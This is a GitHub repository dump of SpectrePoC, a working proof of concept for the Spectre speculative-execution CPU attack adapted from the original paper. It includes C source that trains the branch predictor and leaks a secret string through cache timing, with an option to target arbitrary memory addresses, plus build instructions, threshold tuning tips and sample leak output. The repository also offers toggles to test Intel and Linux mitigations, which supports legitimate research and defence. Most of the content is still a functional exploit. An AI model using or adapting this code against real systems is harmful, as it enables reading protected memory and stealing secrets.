Repository: crozone/SpectrePoC Branch: master Commit: 7e7329bcfd3f Files: 4 Total size: 21.4 KB Directory structure: gitextract_ci65_whv/ ├── .gitignore ├── Makefile ├── README.md └── spectre.c ================================================ FILE CONTENTS ================================================ ================================================ FILE: .gitignore ================================================ # Prerequisites *.d # Object files *.o *.ko *.obj *.elf # Linker output *.ilk *.map *.exp # Precompiled Headers *.gch *.pch # Libraries *.lib *.a *.la *.lo # Shared objects (inc. Windows DLLs) *.dll *.so *.so.* *.dylib # Executables *.exe *.out *.app *.i*86 *.x86_64 *.hex # Debug files *.dSYM/ *.su *.idb *.pdb # Kernel Module Compile Results *.mod* *.cmd .tmp_versions/ modules.order Module.symvers Mkfile.old dkms.conf ================================================ FILE: Makefile ================================================ CFLAGS += -std=c99 -O0 PROGRAM = spectre.out SOURCE = spectre.c all: $(PROGRAM) GIT_SHELL_EXIT := $(shell git status --porcelain 2> /dev/null >&2 ; echo $$?) # It can be non-zero when not in git repository or git is not installed. # It can happen when downloaded using github's "Download ZIP" option. ifeq ($(GIT_SHELL_EXIT),0) # Check if working dir is clean. GIT_STATUS := $(shell git status --porcelain) ifndef GIT_STATUS GIT_COMMIT_HASH := $(shell git rev-parse HEAD) CFLAGS += -DGIT_COMMIT_HASH='"$(GIT_COMMIT_HASH)"' endif endif $(PROGRAM): $(SOURCE) ; $(CC) $(CFLAGS) -o $(PROGRAM) $(SOURCE) clean: ; rm -f $(PROGRAM) ================================================ FILE: README.md ================================================ # SpectrePoC Proof of concept code for the Spectre CPU exploit. ## Attribution The source code originates from the example code provided in the "Spectre Attacks: Exploiting Speculative Execution" paper found here: https://spectreattack.com/spectre.pdf The original source code used in this repository was conveniently provided by Erik August's gist, found here: https://gist.github.com/ErikAugust/724d4a969fb2c6ae1bbd7b2a9e3d4bb6 The code has been modified to fix build issues, add workaround for older CPUs, and improve comments where possible. ## Building The project can be built with GNU Make and GCC. On debian these are included in the `build-essential` metapackage. Building is as easy as: `cd SpectrePoC` `make` The output binary is `./spectre.out`. ### Mitigations Several mitigations are available for Spectre. These can be can be optionally compiled into the binary in order to test their effectiveness on various processors. #### Intel lfence style mitigation If you want to build a version with Intel's lfence mitigation included, set your `CFLAGS` `CFLAGS=-DINTEL_MITIGATION` in the `Makefile` or build like `CFLAGS=-DINTEL_MITIGATION make` #### Linux kernel style mitigation If you want to build a version with Linux kernel array_index_mask_nospec() mitigation included, set your `CFLAGS` `CFLAGS=-DLINUX_KERNEL_MITIGATION` in the `Makefile` or build like `CFLAGS=-DLINUX_KERNEL_MITIGATION make` ### Building for older CPUs Depending on the CPU, certain instructions will need to be disabled in order for the program to run correctly. The instructions in question are: #### rdtscp: Introduced with x86-64. All 32-bit only CPUs, including many Core 2 Duos, will need to disable this instruction. To build the project without `rdtscp`, define the NORDTSCP cflag: `CFLAGS=-DNORDTSCP make` #### mfence: Introduced with SSE2. Most CPUs pre-Pentium 4 will need to disable this instruction. To build the project without `mfence`, define the NOMFENCE cflag: `CFLAGS=-DNOMFENCE make` #### clflush Introduced with SSE2. Most CPUs pre-Pentium 4 will need to disable this instruction. To build the project without `clflush`, define the NOCLFLUSH cflag: `CFLAGS=-DNOCLFLUSH make` #### Multiple cflags To define multiple cflags, separate each cflag with an escaped space. For example: `CFLAGS=-DNORDTSCP\ -DNOMFENCE\ -DNOCLFLUSH make` #### SSE2 instruction set To build the project without all of the above instructions introduced with SSE2, define NOSSE2 cflag: `CFLAGS=-DNOSSE2 make` `NOSSE2` is automatically enabled if the `__SSE__` flag is present but `__SSE2__` is absent. This means `NOSSE2` shouldn't need to be manually specified when compiling on Clang or GCC on non-SSE2 processors. On MSC, `NOSSE2` is automatically enabled if the `_M_IX86_FP` flag is set to `1` (indicating SSE support, but no SSE2 support). MSC will set this by default for all x86 processors. #### 'Target specific option mismatch' error Some 32-bit versions of gcc (e.g. the version used in Ubuntu 14.04) may show the following error while compiling the PoC: ``` /usr/lib/gcc/i686-linux-gnu/5/include/emmintrin.h:1479:1: error: inlining failed in call to always_inline `_mm_clflush`: target specific option mismatch _mm_clflush (void const *__A) ^ ``` In this case architecture build flag `-march=native` is required for compilation for the current CPU: `CFLAGS=-march=native make` This flag builds the binary specifically for the current CPU and it may crash after copying to another machine. ### Building it without using the Makefile If you want to build it manually, make sure to disable all optimisations (aka, don't use -O2), as it will break the program. ## Executing To run spectre with default cache hit threshold of 80, and the secret example string "The Magic Words are Squeamish Ossifrage." as the target, run `./spectre.out` with no command line arguments. **Example:** `./spectre.out` The cache hit threshold can be specified as the first command line argument. It must be a whole positive integer. **Example:** `./spectre.out 80` A custom target address and length can be given as the second and third command line arguments, respectively. **Example:** `./spectre.out 80 12345678 128` ## Tweaking If you're getting lackluster results, you may need to tweak the cache hit threshold. This can be done by providing a threshold as the first command line argument. While a value of 80 appears to work for most desktop CPUs, a larger value may be required for slower CPUs, and the newest desktop CPUs can go as low as 15. For example, on an Intel(R) Core(TM) i7-8650U CPU (Surface Book 2), a value of 20 works well. On a slower, integrated AMD GX-412TC SOC (PC Engines APU3), a value of 100-300 was required to get a good result. ## Contributing Feel free to add your results to the "Results" issue. Include your cache hit threshold, OS details, CPU details like vendor Id, family, model name, stepping, microcode, MHz, and cache size. The OS can be found by running `uname -a`. CPU info can be found by running `cat /proc/cpuinfo` on Linux, and `sysctl -a | grep machdep.cpu` on OSX. ## Example output The following was output on an Intel(R) Core(TM) i7-8650U CPU, with a cache hit threshold of 20: `./spectre.out 20:` ``` Version: commit 04c47db298920eb4d1b7c1bafcd0017a72d415bc Using a cache hit threshold of 20. Build: RDTSCP_SUPPORTED MFENCE_SUPPORTED CLFLUSH_SUPPORTED INTEL_MITIGATION_DISABLED LINUX_KERNEL_MITIGATION_DISABLED Reading 40 bytes: Reading at malicious_x = 0xffffffffffdfeeb8... Success: 0x54=’T’ score=187 (second best: 0x00=’?’ score=92) Reading at malicious_x = 0xffffffffffdfeeb9... Unclear: 0x68=’h’ score=967 (second best: 0x00=’?’ score=486) Reading at malicious_x = 0xffffffffffdfeeba... Unclear: 0x65=’e’ score=985 (second best: 0x00=’?’ score=566) Reading at malicious_x = 0xffffffffffdfeebb... Unclear: 0x20=’ ’ score=965 (second best: 0x00=’?’ score=659) Reading at malicious_x = 0xffffffffffdfeebc... Unclear: 0x4D=’M’ score=978 (second best: 0x00=’?’ score=700) Reading at malicious_x = 0xffffffffffdfeebd... Unclear: 0x61=’a’ score=967 (second best: 0x00=’?’ score=654) Reading at malicious_x = 0xffffffffffdfeebe... Success: 0x67=’g’ score=705 (second best: 0x00=’?’ score=345) Reading at malicious_x = 0xffffffffffdfeebf... Unclear: 0x69=’i’ score=974 (second best: 0x6A=’j’ score=768) Reading at malicious_x = 0xffffffffffdfeec0... Unclear: 0x63=’c’ score=615 (second best: 0x00=’?’ score=310) Reading at malicious_x = 0xffffffffffdfeec1... Success: 0x20=’ ’ score=2 Reading at malicious_x = 0xffffffffffdfeec2... Success: 0x57=’W’ score=13 (second best: 0x00=’?’ score=3) Reading at malicious_x = 0xffffffffffdfeec3... Success: 0x6F=’o’ score=17 (second best: 0x00=’?’ score=1) Reading at malicious_x = 0xffffffffffdfeec4... Success: 0x72=’r’ score=11 (second best: 0x00=’?’ score=4) Reading at malicious_x = 0xffffffffffdfeec5... Unclear: 0x64=’d’ score=7 (second best: 0x00=’?’ score=6) Reading at malicious_x = 0xffffffffffdfeec6... Success: 0x73=’s’ score=31 (second best: 0x00=’?’ score=13) Reading at malicious_x = 0xffffffffffdfeec7... Unclear: 0x20=’ ’ score=7 (second best: 0x00=’?’ score=6) Reading at malicious_x = 0xffffffffffdfeec8... Success: 0x61=’a’ score=43 (second best: 0x00=’?’ score=20) Reading at malicious_x = 0xffffffffffdfeec9... Success: 0x72=’r’ score=189 (second best: 0x00=’?’ score=91) Reading at malicious_x = 0xffffffffffdfeeca... Success: 0x65=’e’ score=2 Reading at malicious_x = 0xffffffffffdfeecb... Unclear: 0x20=’ ’ score=7 (second best: 0x00=’?’ score=6) Reading at malicious_x = 0xffffffffffdfeecc... Unclear: 0x53=’S’ score=151 (second best: 0x00=’?’ score=78) Reading at malicious_x = 0xffffffffffdfeecd... Success: 0x71=’q’ score=57 (second best: 0x00=’?’ score=26) Reading at malicious_x = 0xffffffffffdfeece... Success: 0x00=’?’ score=5 Reading at malicious_x = 0xffffffffffdfeecf... Success: 0x65=’e’ score=33 (second best: 0x00=’?’ score=14) Reading at malicious_x = 0xffffffffffdfeed0... Success: 0x61=’a’ score=115 (second best: 0x62=’b’ score=55) Reading at malicious_x = 0xffffffffffdfeed1... Unclear: 0x6D=’m’ score=21 (second best: 0x00=’?’ score=15) Reading at malicious_x = 0xffffffffffdfeed2... Unclear: 0x69=’i’ score=961 (second best: 0x6A=’j’ score=593) Reading at malicious_x = 0xffffffffffdfeed3... Success: 0x73=’s’ score=37 (second best: 0x00=’?’ score=18) Reading at malicious_x = 0xffffffffffdfeed4... Success: 0x68=’h’ score=253 (second best: 0x00=’?’ score=122) Reading at malicious_x = 0xffffffffffdfeed5... Unclear: 0x20=’ ’ score=9 (second best: 0x00=’?’ score=5) Reading at malicious_x = 0xffffffffffdfeed6... Success: 0x4F=’O’ score=315 (second best: 0x00=’?’ score=156) Reading at malicious_x = 0xffffffffffdfeed7... Success: 0x73=’s’ score=21 (second best: 0x00=’?’ score=8) Reading at malicious_x = 0xffffffffffdfeed8... Success: 0x73=’s’ score=27 (second best: 0x00=’?’ score=9) Reading at malicious_x = 0xffffffffffdfeed9... Success: 0x69=’i’ score=51 (second best: 0x00=’?’ score=16) Reading at malicious_x = 0xffffffffffdfeeda... Success: 0x66=’f’ score=2 Reading at malicious_x = 0xffffffffffdfeedb... Unclear: 0x72=’r’ score=53 (second best: 0x00=’?’ score=31) Reading at malicious_x = 0xffffffffffdfeedc... Success: 0x61=’a’ score=7 (second best: 0x00=’?’ score=3) Reading at malicious_x = 0xffffffffffdfeedd... Success: 0x67=’g’ score=2 Reading at malicious_x = 0xffffffffffdfeede... Success: 0x65=’e’ score=2 Reading at malicious_x = 0xffffffffffdfeedf... Success: 0x2E=’.’ score=35 (second best: 0x00=’?’ score=8) ``` ================================================ FILE: spectre.c ================================================ /********************************************************************* * * Spectre PoC * * This source code originates from the example code provided in the * "Spectre Attacks: Exploiting Speculative Execution" paper found at * https://spectreattack.com/spectre.pdf * * Minor modifications have been made to fix compilation errors and * improve documentation where possible. * **********************************************************************/ #include #include #include #ifdef _MSC_VER #include /* for rdtsc, rdtscp, clflush */ #pragma optimize("gt",on) #else #include /* for rdtsc, rdtscp, clflush */ #endif /* ifdef _MSC_VER */ /* Automatically detect if SSE2 is not available when SSE is advertized */ #ifdef _MSC_VER /* MSC */ #if _M_IX86_FP==1 #define NOSSE2 #endif #else /* Not MSC */ #if defined(__SSE__) && !defined(__SSE2__) #define NOSSE2 #endif #endif /* ifdef _MSC_VER */ #ifdef NOSSE2 #define NORDTSCP #define NOMFENCE #define NOCLFLUSH #endif /******************************************************************** Victim code. ********************************************************************/ unsigned int array1_size = 16; uint8_t unused1[64]; uint8_t array1[16] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16 }; uint8_t unused2[64]; uint8_t array2[256 * 512]; char * secret = "The Magic Words are Squeamish Ossifrage."; uint8_t temp = 0; /* Used so compiler won’t optimize out victim_function() */ #ifdef LINUX_KERNEL_MITIGATION /* From https://github.com/torvalds/linux/blob/cb6416592bc2a8b731dabcec0d63cda270764fc6/arch/x86/include/asm/barrier.h#L27 */ /** * array_index_mask_nospec() - generate a mask that is ~0UL when the * bounds check succeeds and 0 otherwise * @index: array element index * @size: number of elements in array * * Returns: * 0 - (index < size) */ static inline unsigned long array_index_mask_nospec(unsigned long index, unsigned long size) { unsigned long mask; __asm__ __volatile__ ("cmp %1,%2; sbb %0,%0;" :"=r" (mask) :"g"(size),"r" (index) :"cc"); return mask; } #endif void victim_function(size_t x) { if (x < array1_size) { #ifdef INTEL_MITIGATION /* * According to Intel et al, the best way to mitigate this is to * add a serializing instruction after the boundary check to force * the retirement of previous instructions before proceeding to * the read. * See https://newsroom.intel.com/wp-content/uploads/sites/11/2018/01/Intel-Analysis-of-Speculative-Execution-Side-Channels.pdf */ _mm_lfence(); #endif #ifdef LINUX_KERNEL_MITIGATION x &= array_index_mask_nospec(x, array1_size); #endif temp &= array2[array1[x] * 512]; } } /******************************************************************** Analysis code ********************************************************************/ #ifdef NOCLFLUSH #define CACHE_FLUSH_ITERATIONS 2048 #define CACHE_FLUSH_STRIDE 4096 uint8_t cache_flush_array[CACHE_FLUSH_STRIDE * CACHE_FLUSH_ITERATIONS]; /* Flush memory using long SSE instructions */ void flush_memory_sse(uint8_t * addr) { float * p = (float *)addr; float c = 0.f; __m128 i = _mm_setr_ps(c, c, c, c); int k, l; /* Non-sequential memory addressing by looping through k by l */ for (k = 0; k < 4; k++) for (l = 0; l < 4; l++) _mm_stream_ps(&p[(l * 4 + k) * 4], i); } #endif /* Report best guess in value[0] and runner-up in value[1] */ void readMemoryByte(int cache_hit_threshold, size_t malicious_x, uint8_t value[2], int score[2]) { static int results[256]; int tries, i, j, k, mix_i; unsigned int junk = 0; size_t training_x, x; register uint64_t time1, time2; volatile uint8_t * addr; #ifdef NOCLFLUSH int junk2 = 0; int l; (void)junk2; #endif for (i = 0; i < 256; i++) results[i] = 0; for (tries = 999; tries > 0; tries--) { #ifndef NOCLFLUSH /* Flush array2[512*(0..255)] from cache */ for (i = 0; i < 256; i++) _mm_clflush( & array2[i * 512]); /* intrinsic for clflush instruction */ #else /* Flush array2[256*(0..255)] from cache using long SSE instruction several times */ for (j = 0; j < 16; j++) for (i = 0; i < 256; i++) flush_memory_sse( & array2[i * 512]); #endif /* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) */ training_x = tries % array1_size; for (j = 29; j >= 0; j--) { #ifndef NOCLFLUSH _mm_clflush( & array1_size); #else /* Alternative to using clflush to flush the CPU cache */ /* Read addresses at 4096-byte intervals out of a large array. Do this around 2000 times, or more depending on CPU cache size. */ for(l = CACHE_FLUSH_ITERATIONS * CACHE_FLUSH_STRIDE - 1; l >= 0; l-= CACHE_FLUSH_STRIDE) { junk2 = cache_flush_array[l]; } #endif /* Delay (can also mfence) */ for (volatile int z = 0; z < 100; z++) {} /* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */ /* Avoid jumps in case those tip off the branch predictor */ x = ((j % 6) - 1) & ~0xFFFF; /* Set x=0xFFFFFFFFFFFF0000 if j%6==0, else x=0 */ x = (x | (x >> 16)); /* Set x=-1 if j&6=0, else x=0 */ x = training_x ^ (x & (malicious_x ^ training_x)); /* Call the victim! */ victim_function(x); } /* Time reads. Order is lightly mixed up to prevent stride prediction */ for (i = 0; i < 256; i++) { mix_i = ((i * 167) + 13) & 255; addr = & array2[mix_i * 512]; /* We need to accuratly measure the memory access to the current index of the array so we can determine which index was cached by the malicious mispredicted code. The best way to do this is to use the rdtscp instruction, which measures current processor ticks, and is also serialized. */ #ifndef NORDTSCP time1 = __rdtscp( & junk); /* READ TIMER */ junk = * addr; /* MEMORY ACCESS TO TIME */ time2 = __rdtscp( & junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */ #else /* The rdtscp instruction was instroduced with the x86-64 extensions. Many older 32-bit processors won't support this, so we need to use the equivalent but non-serialized tdtsc instruction instead. */ #ifndef NOMFENCE /* Since the rdstc instruction isn't serialized, newer processors will try to reorder it, ruining its value as a timing mechanism. To get around this, we use the mfence instruction to introduce a memory barrier and force serialization. mfence is used because it is portable across Intel and AMD. */ _mm_mfence(); time1 = __rdtsc(); /* READ TIMER */ _mm_mfence(); junk = * addr; /* MEMORY ACCESS TO TIME */ _mm_mfence(); time2 = __rdtsc() - time1; /* READ TIMER & COMPUTE ELAPSED TIME */ _mm_mfence(); #else /* The mfence instruction was introduced with the SSE2 instruction set, so we have to ifdef it out on pre-SSE2 processors. Luckily, these older processors don't seem to reorder the rdtsc instruction, so not having mfence on older processors is less of an issue. */ time1 = __rdtsc(); /* READ TIMER */ junk = * addr; /* MEMORY ACCESS TO TIME */ time2 = __rdtsc() - time1; /* READ TIMER & COMPUTE ELAPSED TIME */ #endif #endif if ((int)time2 <= cache_hit_threshold && mix_i != array1[tries % array1_size]) results[mix_i]++; /* cache hit - add +1 to score for this value */ } /* Locate highest & second-highest results results tallies in j/k */ j = k = -1; for (i = 0; i < 256; i++) { if (j < 0 || results[i] >= results[j]) { k = j; j = i; } else if (k < 0 || results[i] >= results[k]) { k = i; } } if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0)) break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */ } value[0] = (uint8_t) j; score[0] = results[j]; value[1] = (uint8_t) k; score[1] = results[k]; results[0] ^= junk; /* use junk so code above won’t get optimized out*/ } /* * Command line arguments: * 1: Cache hit threshold (int) * 2: Malicious address start (size_t) * 3: Malicious address count (int) */ int main(int argc, const char * * argv) { /* Default to a cache hit threshold of 80 */ int cache_hit_threshold = 80; /* Default for malicious_x is the secret string address */ size_t malicious_x = (size_t)(secret - (char * ) array1); /* Default addresses to read is 40 (which is the length of the secret string) */ int len = 40; int score[2]; uint8_t value[2]; int i; #ifdef NOCLFLUSH for (i = 0; i < (int)sizeof(cache_flush_array); i++) { cache_flush_array[i] = 1; } #endif for (i = 0; i < (int)sizeof(array2); i++) { array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages */ } /* Parse the cache_hit_threshold from the first command line argument. (OPTIONAL) */ if (argc >= 2) { sscanf(argv[1], "%d", &cache_hit_threshold); } /* Parse the malicious x address and length from the second and third command line argument. (OPTIONAL) */ if (argc >= 4) { sscanf(argv[2], "%p", (void * * )( &malicious_x)); /* Convert input value into a pointer */ malicious_x -= (size_t) array1; sscanf(argv[3], "%d", &len); } /* Print git commit hash */ #ifdef GIT_COMMIT_HASH printf("Version: commit " GIT_COMMIT_HASH "\n"); #endif /* Print cache hit threshold */ printf("Using a cache hit threshold of %d.\n", cache_hit_threshold); /* Print build configuration */ printf("Build: "); #ifndef NORDTSCP printf("RDTSCP_SUPPORTED "); #else printf("RDTSCP_NOT_SUPPORTED "); #endif #ifndef NOMFENCE printf("MFENCE_SUPPORTED "); #else printf("MFENCE_NOT_SUPPORTED "); #endif #ifndef NOCLFLUSH printf("CLFLUSH_SUPPORTED "); #else printf("CLFLUSH_NOT_SUPPORTED "); #endif #ifdef INTEL_MITIGATION printf("INTEL_MITIGATION_ENABLED "); #else printf("INTEL_MITIGATION_DISABLED "); #endif #ifdef LINUX_KERNEL_MITIGATION printf("LINUX_KERNEL_MITIGATION_ENABLED "); #else printf("LINUX_KERNEL_MITIGATION_DISABLED "); #endif printf("\n"); printf("Reading %d bytes:\n", len); /* Start the read loop to read each address */ while (--len >= 0) { printf("Reading at malicious_x = %p... ", (void * ) malicious_x); /* Call readMemoryByte with the required cache hit threshold and malicious x address. value and score are arrays that are populated with the results. */ readMemoryByte(cache_hit_threshold, malicious_x++, value, score); /* Display the results */ printf("%s: ", (score[0] >= 2 * score[1] ? "Success" : "Unclear")); printf("0x%02X=’%c’ score=%d ", value[0], (value[0] > 31 && value[0] < 127 ? value[0] : '?'), score[0]); if (score[1] > 0) { printf("(second best: 0x%02X=’%c’ score=%d)", value[1], (value[1] > 31 && value[1] < 127 ? value[1] : '?'), score[1]); } printf("\n"); } return (0); }